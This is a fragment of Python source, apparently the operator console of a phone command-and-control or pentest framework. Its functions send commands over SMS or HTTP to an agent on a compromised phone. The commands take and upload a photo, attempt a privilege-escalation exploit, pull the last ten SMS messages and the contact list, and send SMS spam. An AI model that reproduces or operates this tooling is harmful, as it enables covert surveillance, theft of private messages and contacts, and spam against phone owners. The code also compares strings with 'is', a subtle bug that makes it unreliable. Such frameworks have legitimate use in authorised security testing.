def take_picture(key): print color(35, '\n[*] Take a picture and upload it to the webserver. Will upload a message if it fails.\n') deliverymethod = str(raw_input(color(33, '[-] Delivery Method (SMS or HTTP)'))) command = 'PICT' e = delivery(key, command, deliverymethod) return e
def privilege_escalation(key): print color(35, '\n[*] Try a privilege escalation exploit.\n') deliverymethod = str(raw_input(color(33, '[-] Delivery Method (SMS or HTTP): '))) command = 'ROOT' e = delivery(key, command, deliverymethod) return e
def get_sms_database(key): print color(35, '\n[*] Get last 10 sms from phone with agent. Fill in the delivery method and return method.\n') deliverymethod = str(raw_input(color(33, '\n[-] Delivery Method(SMS or HTTP): '))) returnmethod = str(raw_input(color(33, '\n[-] Return Method(SMS or HTTP): '))) command = 'SMSS' e = delivery(key, command, deliverymethod, returnmethod) return e
def get_contacts(key): print color(35, '\n[*] Get contacts from phone with agent. Fill in the delivery method(SMS or HTTP) and return method (SMS or HTTP).\n') deliverymethod = raw_input(color(33, '[-] Delivery Method (SMS or HTTP): ')) returnmethod = raw_input(color(33, '[-] Return Method (SMS or HTTP): ')) command = 'CONT' e = delivery(key, command, deliverymethod, returnmethod) return e
def send_sms(key): print color( 35, "\n[*] Send an SMS message to another phone. Fill in the number, the message to send, and the delivery method.\n", ) sendnumber = str(raw_input(color(33, "[-] Number: "))) sendmessage = str(raw_input(color(33, "[-] Message: "))) deliverymethod = str(raw_input(color(33, "[-] Delivery Method(SMS or HTTP): "))) if deliverymethod is "HTTP": command = "%s SPAM none %s %s %s\n" % (key, deliverymethod, sendnumber, sendmessage) if deliverymethod is "SMS": modem = get_modem() if modem is 0: print color(31, "\n[!] No modems found. Attach a modem to use this functionality\n") else: command = "%s SPAM %s %s %s %s\n" % (key, modem, deliverymethod, sendnumber, sendmessage) x = delivery(key=key, command=command, explicit=True) return x